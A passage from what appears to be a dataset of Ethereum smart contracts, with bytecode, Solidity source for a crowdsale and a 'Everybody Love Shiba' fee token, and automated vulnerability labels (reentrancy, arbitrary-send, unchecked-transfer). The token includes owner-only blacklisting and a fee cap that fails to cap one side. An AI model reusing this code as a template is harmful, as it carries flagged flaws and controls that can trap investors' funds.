fffffffff0483118215151615613876576138756139c9565b5b828202905092915050565b600061388c826138f3565b9150613897836138f3565b9250828210156138aa576138a96139c9565b5b828203905092915050565b60006138c0826138d3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613915826138f3565b9050919050565b60005b8381101561393a57808201518184015260208101905061391f565b83811115613949576000848401525b50505050565b61395882613a99565b810181811067ffffffffffffffff8211171561397757613976613a56565b5b80604052505050565b600061398b826138f3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156139be576139bd6139c9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460008201527f73206d6178206c696d6974000000000000000000000000000000000000000000602082015250565b7f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560008201527f656473206d6178206c696d697400000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613df5816138b5565b8114613e0057600080fd5b50565b613e0c816138c7565b8114613e1757600080fd5b50565b613e23816138f3565b8114613e2e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b270cc0c869acf99ce7d0c8e5f0208196e250d9218eeef224f2a43a9b54dcc464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,683
0xA7BE94F6c18d29B5001F486c7de60a062D0d3D52
pragma solidity ^0.4.13; contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } contract AllowanceCrowdsale is Crowdsale { using SafeMath for uint256; address public tokenWallet; /** * @dev Constructor, takes token wallet address. * @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale */ function AllowanceCrowdsale(address _tokenWallet) public { require(_tokenWallet != address(0)); tokenWallet = _tokenWallet; } /** * @dev Checks the amount of tokens left in the allowance. * @return Amount of tokens left in the allowance */ function remainingTokens() public view returns (uint256) { return token.allowance(tokenWallet, this); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param _beneficiary Token purchaser * @param _tokenAmount Amount of tokens purchased */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transferFrom(tokenWallet, _beneficiary, _tokenAmount); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TVCrowdsale is AllowanceCrowdsale, Ownable { uint256 public currentRate; function TVCrowdsale(uint256 _rate, address _wallet, ERC20 _token, address _tokenWallet) Crowdsale(_rate, _wallet, _token) AllowanceCrowdsale(_tokenWallet) public { currentRate = _rate; } function setRate(uint256 _rate) public onlyOwner returns (bool) { currentRate = _rate; return true; } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(currentRate); } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632c4e722e146100ba57806334fcf437146100e35780634042b66f1461011e578063521eb273146101475780638da5cb5b1461019c578063bf583903146101f1578063bff99c6c1461021a578063ec8ac4d81461026f578063f2fde38b1461029d578063f9f8bdb7146102d6578063fc0c546a146102ff575b6100b833610354565b005b34156100c557600080fd5b6100cd610422565b6040518082815260200191505060405180910390f35b34156100ee57600080fd5b6101046004808035906020019091905050610428565b604051808215151515815260200191505060405180910390f35b341561012957600080fd5b610131610496565b6040518082815260200191505060405180910390f35b341561015257600080fd5b61015a61049c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101a757600080fd5b6101af6104c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101fc57600080fd5b6102046104e8565b6040518082815260200191505060405180910390f35b341561022557600080fd5b61022d610617565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61029b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610354565b005b34156102a857600080fd5b6102d4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061063d565b005b34156102e157600080fd5b6102e9610795565b6040518082815260200191505060405180910390f35b341561030a57600080fd5b61031261079b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008034915061036483836107c0565b61036d82610810565b90506103848260035461082e90919063ffffffff16565b600381905550610394838261084c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a361040b838361085a565b61041361085e565b61041d83836108c2565b505050565b60025481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561048657600080fd5b8160068190555060019050919050565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156105fb57600080fd5b5af1151561060857600080fd5b50505060405180519050905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561069957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156106d557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156107fc57600080fd5b6000811415151561080c57600080fd5b5050565b6000610827600654836108c690919063ffffffff16565b9050919050565b600080828401905083811015151561084257fe5b8091505092915050565b6108568282610901565b5050565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156108c057600080fd5b565b5050565b60008060008414156108db57600091506108fa565b82840290508284828115156108ec57fe5b041415156108f657fe5b8091505b5092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515610a1a57600080fd5b5af11515610a2757600080fd5b505050604051805190505050505600a165627a7a723058205cdf4127d315d066aa03131de196c7141652ae499a106010ce17151464604ffe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,684
0x612ae6d246f5548e538b7df31cd04e0ef2879129
/** *Submitted for verification at Etherscan.io on 2022-03-29 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EverybodyLoveShiba is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Everybody Love Shiba";// string private constant _symbol = "ELS";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 2;// uint256 private _taxFeeOnBuy = 8;// //Sell Fee uint256 private _redisFeeOnSell = 1;// uint256 private _taxFeeOnSell = 12;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xC7cebE11b566FdDB6aeAB80137351440069f88b1);// address payable private _marketingAddress = payable(0xC7cebE11b566FdDB6aeAB80137351440069f88b1);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; // uint256 public _maxWalletSize = 30000000 * 10**9; // uint256 public _swapTokensAtAmount = 1000000* 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); if (!_isExcludedFromFee[_msgSender()]) _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function OpenTrading() public onlyOwner { tradingOpen = true; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell; uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy; require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%"); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%"); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610636578063dd62ed3e14610661578063ea1644d51461069e578063f2fde38b146106c7576101d7565b8063a9059cbb1461057c578063bfd79284146105b9578063c3c8cd80146105f6578063c492f0461461060d576101d7565b80638f9a55c0116100d15780638f9a55c0146104d457806395d89b41146104ff57806398a5c3151461052a578063a2a957bb14610553576101d7565b806374010ece146104555780637d1db4a51461047e5780638da5cb5b146104a9576101d7565b8063313ce5671161016f5780636d8aa8f81161013e5780636d8aa8f8146103c15780636fc3eaec146103ea57806370a0823114610401578063715018a61461043e576101d7565b8063313ce5671461032b57806349bd5a5e1461035657806351cd7cc3146103815780636b99905314610398576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061307c565b6106f0565b005b34801561021157600080fd5b5061021a61081a565b604051610227919061314d565b60405180910390f35b34801561023c57600080fd5b50610257600480360381019061025291906131a5565b610857565b6040516102649190613200565b60405180910390f35b34801561027957600080fd5b50610282610875565b60405161028f919061327a565b60405180910390f35b3480156102a457600080fd5b506102ad61089b565b6040516102ba91906132a4565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e591906132bf565b6108ab565b6040516102f79190613200565b60405180910390f35b34801561030c57600080fd5b506103156109dd565b60405161032291906132a4565b60405180910390f35b34801561033757600080fd5b506103406109e3565b60405161034d919061332e565b60405180910390f35b34801561036257600080fd5b5061036b6109ec565b6040516103789190613358565b60405180910390f35b34801561038d57600080fd5b50610396610a12565b005b3480156103a457600080fd5b506103bf60048036038101906103ba9190613373565b610acb565b005b3480156103cd57600080fd5b506103e860048036038101906103e391906133cc565b610bbb565b005b3480156103f657600080fd5b506103ff610c6c565b005b34801561040d57600080fd5b5061042860048036038101906104239190613373565b610d3d565b60405161043591906132a4565b60405180910390f35b34801561044a57600080fd5b50610453610d8e565b005b34801561046157600080fd5b5061047c600480360381019061047791906133f9565b610ee1565b005b34801561048a57600080fd5b50610493610fd8565b6040516104a091906132a4565b60405180910390f35b3480156104b557600080fd5b506104be610fde565b6040516104cb9190613358565b60405180910390f35b3480156104e057600080fd5b506104e9611007565b6040516104f691906132a4565b60405180910390f35b34801561050b57600080fd5b5061051461100d565b604051610521919061314d565b60405180910390f35b34801561053657600080fd5b50610551600480360381019061054c91906133f9565b61104a565b005b34801561055f57600080fd5b5061057a60048036038101906105759190613426565b6110e9565b005b34801561058857600080fd5b506105a3600480360381019061059e91906131a5565b611212565b6040516105b09190613200565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db9190613373565b611230565b6040516105ed9190613200565b60405180910390f35b34801561060257600080fd5b5061060b611250565b005b34801561061957600080fd5b50610634600480360381019061062f91906134e8565b611329565b005b34801561064257600080fd5b5061064b611463565b60405161065891906132a4565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613548565b611469565b60405161069591906132a4565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c091906133f9565b6114f0565b005b3480156106d357600080fd5b506106ee60048036038101906106e99190613373565b6115e7565b005b6106f86117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c906135d4565b60405180910390fd5b60005b8